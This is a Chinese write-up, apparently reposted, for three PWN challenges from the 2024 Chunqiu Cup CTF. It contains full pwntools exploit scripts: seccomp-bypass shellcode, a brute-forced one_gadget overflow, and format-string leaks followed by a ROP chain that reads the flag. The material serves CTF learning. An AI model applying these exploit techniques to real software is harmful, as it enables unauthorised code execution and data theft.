2024春秋杯网络安全联赛夏季赛-PWN-Writeup

news/2024/11/19 7:43:32/文章来源:https://www.cnblogs.com/xiaochange/p/18291573

2024春秋杯网络安全联赛夏季赛-PWN-Writeup

只打了第一天,费了好大劲,终于三道都出了。

image-20240709125601478

Shuffled_Execution

保护全开,ida查看伪代码:

int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // raxchar *s; // [rsp+28h] [rbp-18h]unsigned __int64 len; // [rsp+30h] [rbp-10h]init();s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);if ( s == (char *)-1LL ){perror("mmap failed");exit(1);}syscall(0LL, 0LL, 0x1337000LL, 0x250LL);len = strlen(s);shuffle((__int64)s, len);if ( len <= 0xAF ){sandbox();entrance();LODWORD(v3) = 0;}else{return (int)"Error triggered...";}return v3;
}

可以看道mmap申请0x1337000处0x1000大小的内存空间,使用syscall系统调用来调用read函数向内存中进行写入。

shuffle函数会打乱我们输入的内容。

判断长度小于等于0xAF之后会然后开启沙箱,然后entrance()函数会让程序跳转到0x1337000处去执行。

shuffle函数的伪代码:

unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{char v3; // [rsp+1Bh] [rbp-15h]int i; // [rsp+1Ch] [rbp-14h]unsigned __int64 v5; // [rsp+20h] [rbp-10h]unsigned __int64 v6; // [rsp+28h] [rbp-8h]v6 = __readfsqword(0x28u);srand(4919u);if ( len > 1 ){for ( i = 0; i < len >> 1; ++i ){v5 = rand() % len;v3 = *(_BYTE *)(i + input);*(_BYTE *)(i + input) = *(_BYTE *)(input + v5);*(_BYTE *)(v5 + input) = v3;}}return v6 - __readfsqword(0x28u);
}

程序实现的是随机交换程序中的字节,程序中的这种随机其实是伪随机,我们可以出每次随机的数的。

在exp中我们可以模拟上述随机数生成的过程,写出预处理函数来先进行预处理,这个预处理所实现的功能就是让程序进行shuffle()函数打乱之后的顺序反而是我们预期想要的顺序

def unshuffle(shuffled_bytes, seed=4919):#random.seed(seed)libc.srand(4919)# Find the first occurrence of \x00null_byte_index = shuffled_bytes.find(b'\x00')# Use the index of \x00 if it exists, otherwise use the full lengthlen_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)shuffled_list = list(shuffled_bytes[:len_input])indices = list(range(len_input))if len_input > 1:swaps = []for i in range(len_input >> 1):v5 = libc.rand() % len_inputswaps.append((i, v5))# Reverse the swapsfor i, v5 in reversed(swaps):v3 = shuffled_list[v5]shuffled_list[v5] = shuffled_list[i]shuffled_list[i] = v3return bytes(shuffled_list)+shuffled_bytes[len_input:]

再来看看沙箱规则:

 line  CODE  JT   JF      K
=================================0000: 0x20 0x00 0x00 0x00000004  A = arch0001: 0x15 0x00 0x0d 0xc000003e  if (A != ARCH_X86_64) goto 00150002: 0x20 0x00 0x00 0x00000000  A = sys_number0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 00050004: 0x15 0x00 0x0a 0xffffffff  if (A != 0xffffffff) goto 00150005: 0x15 0x09 0x00 0x00000000  if (A == read) goto 00150006: 0x15 0x08 0x00 0x00000001  if (A == write) goto 00150007: 0x15 0x07 0x00 0x00000002  if (A == open) goto 00150008: 0x15 0x06 0x00 0x00000011  if (A == pread64) goto 00150009: 0x15 0x05 0x00 0x00000013  if (A == readv) goto 00150010: 0x15 0x04 0x00 0x00000028  if (A == sendfile) goto 00150011: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 00150012: 0x15 0x02 0x00 0x00000127  if (A == preadv) goto 00150013: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 00150014: 0x06 0x00 0x00 0x7fff0000  return ALLOW0015: 0x06 0x00 0x00 0x00000000  return KILL

open被办ban了,这里用openat代替。

read被ban了,这里用preadv2代替。

write被ban了,这里用writev代替。

完整exp:

from pwn import *
from ctypes import *shellcode = '''mov rbp,0x1337100mov rsp,rbpmov rax, 0x67616c662f2epush raxxor rdi, rdisub rdi, 100mov rsi, rspxor rdx, rdxpush SYS_openatpop raxsyscallmov rdi, 3push 0x30lea rbx, [rsp-8]push rbxmov rsi, rspmov rdx, 1xor r10, r10xor r8, r8push SYS_preadv2pop raxsyscallpush 1pop rdipush 0x1pop rdxpush 0x30lea rbx, [rsp+8]push rbxmov rsi, rsppush SYS_writevpop raxsyscall
'''def unshuffle(shuffled_bytes, seed=4919):libc.srand(4919)# Find the first occurrence of \x00null_byte_index = shuffled_bytes.find(b'\x00')# Use the index of \x00 if it exists, otherwise use the full lengthlen_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)shuffled_list = list(shuffled_bytes[:len_input])indices = list(range(len_input))if len_input > 1:swaps = []for i in range(len_input >> 1):v5 = libc.rand() % len_inputswaps.append((i, v5))# Reverse the swapsfor i, v5 in reversed(swaps):v3 = shuffled_list[v5]shuffled_list[v5] = shuffled_list[i]shuffled_list[i] = v3return bytes(shuffled_list)+shuffled_bytes[len_input:]p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')# 将 shellcode 转换为机器码
shellcode = asm(shellcode)
# 对 shellcode 进行预处理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())

赛后看到imarch22师傅的博客,看道师傅有一个思路是直接利用\x00进行截断。实际操作就是在shellcode前面加个"mov eax,0",转成字节码\xb8\x00\x00\x00\x00,这行程序在进行strlen的时候返回值是1,程序在进行洗牌的时候i < len >> 1直接不满足条件,就不会进行打乱。省去了我写unshuffle()函数的过程。

stdout

考setvbut

setvbuf 函数原型

int setvbuf(FILE *stream, char *buffer, int mode, size_t size);

参数说明

  • stream: 文件流指针,例如 stdinstdoutstderr
  • buffer: 指向缓冲区的指针。如果为 NULL0LL,则使用系统提供的缓冲区。
  • mode:缓冲模式,可以是以下之一:
    • _IOFBF: 全缓冲。全缓冲模式下,数据会被存储在一个缓冲区中,直到缓冲区满或者显式地刷新(如调用 fflush 函数),然后一次性写入或读取。
    • _IOLBF: 行缓冲。行缓冲模式下,数据在遇到换行符(\n)时或者缓冲区满时进行刷新(写入或读取)。
    • _IONBF: 无缓冲。无缓冲模式下,数据不经过缓冲区,而是直接写入或读取。这意味着每个 I/O 操作都会立即进行系统调用,数据会实时反映在目标设备上。
  • size: 缓冲区大小。如果 bufferNULL0LL,此参数被忽略。

本题有很明显的栈溢出,但是stdout设置的全缓冲,正常思路是用csu调用setvbut来设置为无缓冲来进行泄露libc打ret2libc,我没有这么做,我直接打程序返回地址为onegadgets来拿到shell读取flag的。1/4096的概率,爆破了大概十分钟出了。

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'for i in range(4096):try:p = process('./pwn')p.send(payload1)sleep(0.2)p.send(payload2)sleep(0.2)p.send(payload3)sleep(0.2)p.sendline(b'ls')p.sendline(b'cat flag')aaa = p.recv()if b'flag' in aaa:print(aaa)breakexcept:p.close()continue
p.interactive()

SavethePrincess

通过循环爆破love的内容,来拿到格式化字符串漏洞的利用权限。

拿到格式化字符串漏洞之后泄露canary、pie、libc、stack。

之后就是利用openat、pread64、puts来实现orw输出flag。

from pwn import *p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']def duan():sleep(0.5)gdb.attach(p)pause()def baopo():love = ''for j in range(8):for i in zifu:sleep(0.01)love_len = len(love)temp2 = '\\x0'+str(love_len+1)p.recvuntil(b'> \n')p.sendline(b'1')temp = love+ip.recvuntil(b'password: \n')p.send(temp.ljust(10,'a'))sleep(0.02)recv = p.recvline()if b'successfully' in recv:love+= ibreakprint(temp2)if temp2 in str(recv):love+= ibreakreturn lovedef fmt(password,payload):#p.recvuntil(b'> \n')p.sendline(b'1')p.recvuntil(b'password: \n')p.send(password)p.recvuntil(b'successfully, Embrace the power!!!\n')p.send(payload)password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c)  # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/741092.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何从Salesforce技术人员成长为IT领导者?

从特定技术专家转型为掌控多个业务应用平台的IT领导者并不容易。只了解自己的技术栈,那其他技术是如何工作的?如果不了解它,如何让团队和组织取得成功?虽然看起来很困难,但掌握一种应用平台的技术专家其实已经有了成功的基础。本文主要分享Silvia的成功转型之路。 改变固有…

Firebird数据库修复

一、前期准备 断开数据库连接: 确保所有与Firebird数据库的连接都已断开,避免在修复过程中发生数据冲突或损坏。 备份数据库: 在进行任何修复操作之前,使用Firebird提供的gbak工具或其他备份工具对数据库进行完整备份。备份文件将在修复过程中起到关键作用,以防修复失败导…

InterBase数据库文件损坏的修复方法

InterBase数据库是一种中级数据库,它短小精悍免维护,可以满足百万记录级别的数据库应用,又有开放源码版本,个人认为是一种比较适合中小型数据库应用环境的数据库管理系统(DBMS)。Delphi内建了对InterBase数据库的支持,因此用Delphi编写以InterBase为后台数据库的软件很是…

TypeError: Failed to fetch dynamically imported module

发现运行npm run build 的结果里面,有一些名字特别长的js的名字 原因是因为有一些component,在某些页面我是直接import,某些页面是用defineAysnc 导入的,两种情况都有。 后来全部都改为defineAsync 引入。 重新build,就没有那些名字特别长的js了 这样问题就解决了。

备份和恢复

mongodump备份 mongodump从 MongoDB 数据库读取数据并创建高保真 BSON 文件,该mongorestore 工具可以使用该文件填充 MongoDB 数据库。 mongodump并且mongorestore是用于备份和恢复小型 MongoDB 部署的简单有效的工具,但并不适合捕获大型系统的备份。 mongodump只捕获数据库中…

文件目录损坏数据恢复

文件目录损坏数据恢复是一个涉及多个步骤和可能解决方案的过程。 一、使用系统自带的磁盘检查工具 在Windows系统中,您可以使用CHKDSK工具来检查和修复磁盘错误,包括文件目录的损坏。 打开命令提示符:按【Win+R】打开运行窗口,输入【cmd】,然后点击【确定】。 运行CHKDSK命…

硬盘固件损坏

硬盘固件损坏是一个相对复杂的问题,它可能由多种原因引起,并可能导致硬盘无法正常工作或数据丢失。 一、硬盘固件损坏的原因 电源故障:电源不稳定或电力波动可能导致硬盘固件受损。突然的电源断电、电压过高或过低都可能对硬盘固件造成不可逆的损坏。 固件更新失败:在固件更…

服务器硬盘坏道的常见原因和预防方法

一、什么是服务器的硬盘坏道? 硬盘坏道是指硬盘上某个或某些扇区出现物理损坏的情况,这会导致存储在这些扇区上的数据无法读取或写入。硬盘坏道问题的存在可能会对数据的完整性和可靠性造成严重影响,因此及时识别和修复硬盘坏道问题至关重要。 服务器硬盘的坏道的原理是由于…

linux 上安装FTP : vsftpd (含常见问题:读取目录列表失败,的处理)

服务器上有时候需要安装ftp以便调试或给不懂使用服务器命令的同学更新文件1、安装vsftpdyum update yum install vsftpd2、编辑配置文件   确保以下配置的值和下面一致  anonymous_enable=NO local_enable=YES write_enable=YES chroot_local_user=YES这些配置的作用如下:…

海康威视固态硬盘全盘恢复

海康威视固态硬盘的全盘恢复主要涉及到数据恢复的问题,尤其是在数据丢失、误删除或硬盘格式化等情况下。 一、备份恢复 检查备份: 如果在数据丢失之前已经对海康威视固态硬盘进行了备份,那么最直接且有效的恢复方式就是通过备份数据来还原。 备份可能存储在USB、移动硬盘、远…

linux 上安装 vsftpd (含常见问题:读取目录列表失败,的处理)

服务器上有时候需要安装ftp以便调试或给不懂使用服务器命令的同学更新文件1、安装vsftpdyum update yum install vsftpd2、编辑配置文件   确保以下配置的值和下面一致  anonymous_enable=NO local_enable=YES write_enable=YES chroot_local_user=YES这些配置的作用如下:…

K8S学习教程(三):在PetaExpress KubeSphere 容器部署 Wiki 系统 wiki.js 并启用中文全文检索

背景wiki.js 是非常优秀的开源 Wiki 系统,尽管在与 xwiki 功能相比 ,还不算完善,但也在不断进步。 常用的功能还是比较实用的,如:Wiki 写 作、分享、权限管理功能还是非常实用的,UI 设计非常的漂亮,精美的界面和直观的操作体验,能够满足小团队的基本知识管理需求。认真…